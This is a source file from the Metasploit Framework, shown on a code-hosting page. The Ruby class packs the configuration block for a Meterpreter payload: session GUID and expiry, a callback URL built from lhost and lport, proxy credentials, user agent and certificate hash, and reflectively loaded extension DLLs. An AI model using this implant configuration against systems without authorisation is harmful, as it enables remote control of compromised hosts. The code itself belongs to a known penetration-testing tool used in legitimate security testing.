Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/lib/rex/payloads/meterpreter/config.rb
Views: 11655
# -*- coding: binary -*-1require 'rex/socket/x509_certificate'2require 'rex/post/meterpreter/extension_mapper'3require 'securerandom'4class Rex::Payloads::Meterpreter::Config56include Msf::ReflectiveDLLLoader78URL_SIZE = 5129UA_SIZE = 25610PROXY_HOST_SIZE = 12811PROXY_USER_SIZE = 6412PROXY_PASS_SIZE = 6413CERT_HASH_SIZE = 2014LOG_PATH_SIZE = 260 # https://docs.microsoft.com/en-us/windows/win32/fileio/maximum-file-path-limitation?tabs=cmd1516def initialize(opts={})17@opts = opts18if opts[:ascii_str] == true19@to_str = self.method(:to_ascii)20else21@to_str = self.method(:to_wchar_t)22end23end2425def to_b26config_block27end2829private3031def is_x86?32@opts[:arch] == ARCH_X8633end3435def to_str(item, size)3637if item.size >= size # ">=" instead of only ">", because we need space for a terminating null byte (for string handling in C)38raise Msf::PayloadItemSizeError.new(item, size - 1)39end40@to_str.call(item, size)41end4243def to_wchar_t(item, size)44to_ascii(item, size).unpack('C*').pack('v*')45end4647def to_ascii(item, size)48item.to_s.ljust(size, "\x00")49end5051def session_block(opts)52uuid = opts[:uuid].to_raw53exit_func = Msf::Payload::Windows.exit_types[opts[:exitfunk]]5455# if no session guid is given then we'll just pass the blank56# guid through. this is important for stageless payloads57if opts[:stageless] == true || opts[:null_session_guid] == true58session_guid = "\x00" * 1659else60session_guid = [SecureRandom.uuid.gsub(/-/, '')].pack('H*')61end62session_data = [630, # comms socket, patched in by the stager64exit_func, # exit function identifier65opts[:expiration], # Session expiry66uuid, # the UUID67session_guid, # the Session GUID68]69pack_string = 'QVVA*A*'70if opts[:debug_build]71session_data << to_str(opts[:log_path] || '', LOG_PATH_SIZE) # Path to log file on remote target72pack_string << 'A*'73end7475session_data.pack(pack_string)76end7778def transport_block(opts)79# Build the URL from the given parameters, and pad it out to the80# correct size81lhost = opts[:lhost]82if lhost && opts[:scheme].start_with?('http') && Rex::Socket.is_ipv6?(lhost)83lhost = "[#{lhost}]"84end8586url = "#{opts[:scheme]}://#{lhost}"87url << ":#{opts[:lport]}" if opts[:lport]88url << "#{opts[:uri]}/" if opts[:uri]89url << "?#{opts[:scope_id]}" if opts[:scope_id]9091# if the transport URI is for a HTTP payload we need to add a stack92# of other stuff93pack = 'A*VVV'94transport_data = [95to_str(url, URL_SIZE), # transport URL96opts[:comm_timeout], # communications timeout97opts[:retry_total], # retry total time98opts[:retry_wait] # retry wait time99]100101if url.start_with?('http')102proxy_host = ''103if opts[:proxy_host] && opts[:proxy_port]104prefix = 'http://'105prefix = 'socks=' if opts[:proxy_type].to_s.downcase == 'socks'106proxy_host = "#{prefix}#{opts[:proxy_host]}:#{opts[:proxy_port]}"107end108proxy_host = to_str(proxy_host || '', PROXY_HOST_SIZE)109proxy_user = to_str(opts[:proxy_user] || '', PROXY_USER_SIZE)110proxy_pass = to_str(opts[:proxy_pass] || '', PROXY_PASS_SIZE)111ua = to_str(opts[:ua] || '', UA_SIZE)112113cert_hash = "\x00" * CERT_HASH_SIZE114cert_hash = opts[:ssl_cert_hash] if opts[:ssl_cert_hash]115116custom_headers = opts[:custom_headers] || ''117custom_headers = to_str(custom_headers, custom_headers.length + 1)118119# add the HTTP specific stuff120transport_data << proxy_host # Proxy host name121transport_data << proxy_user # Proxy user name122transport_data << proxy_pass # Proxy password123transport_data << ua # HTTP user agent124transport_data << cert_hash # SSL cert hash for verification125transport_data << custom_headers # any custom headers that the client needs126127# update the packing spec128pack << 'A*A*A*A*A*A*'129end130131# return the packed transport information132transport_data.pack(pack)133end134135def extension_block(ext_name, file_extension, debug_build: false)136ext_name = ext_name.strip.downcase137ext, _ = load_rdi_dll(MetasploitPayloads.meterpreter_path("ext_server_#{ext_name}",138file_extension, debug: debug_build))139140[ ext.length, ext ].pack('VA*')141end142143def extension_init_block(name, value)144ext_id = Rex::Post::Meterpreter::ExtensionMapper.get_extension_id(name)145146# for now, we're going to blindly assume that the value is a path to a file147# which contains the data that gets passed to the extension148content = ::File.read(value, mode: 'rb') + "\x00\x00"149data = [150ext_id,151content.length,152content153]154155data.pack('VVA*')156end157158def config_block159# start with the session information160config = session_block(@opts)161162# then load up the transport configurations163(@opts[:transports] || []).each do |t|164config << transport_block(t)165end166167# terminate the transports with NULL (wchar)168config << "\x00\x00"169170# configure the extensions - this will have to change when posix comes171# into play.172file_extension = 'x86.dll'173file_extension = 'x64.dll' unless is_x86?174175(@opts[:extensions] || []).each do |e|176config << extension_block(e, file_extension, debug_build: @opts[:debug_build])177end178179# terminate the extensions with a 0 size180config << [0].pack('V')181182# wire in the extension init data183(@opts[:ext_init] || '').split(':').each do |cfg|184name, value = cfg.split(',')185config << extension_init_block(name, value)186end187188# terminate the ext init config with -1189config << "\xFF\xFF\xFF\xFF"190191# and we're done192config193end194end195196197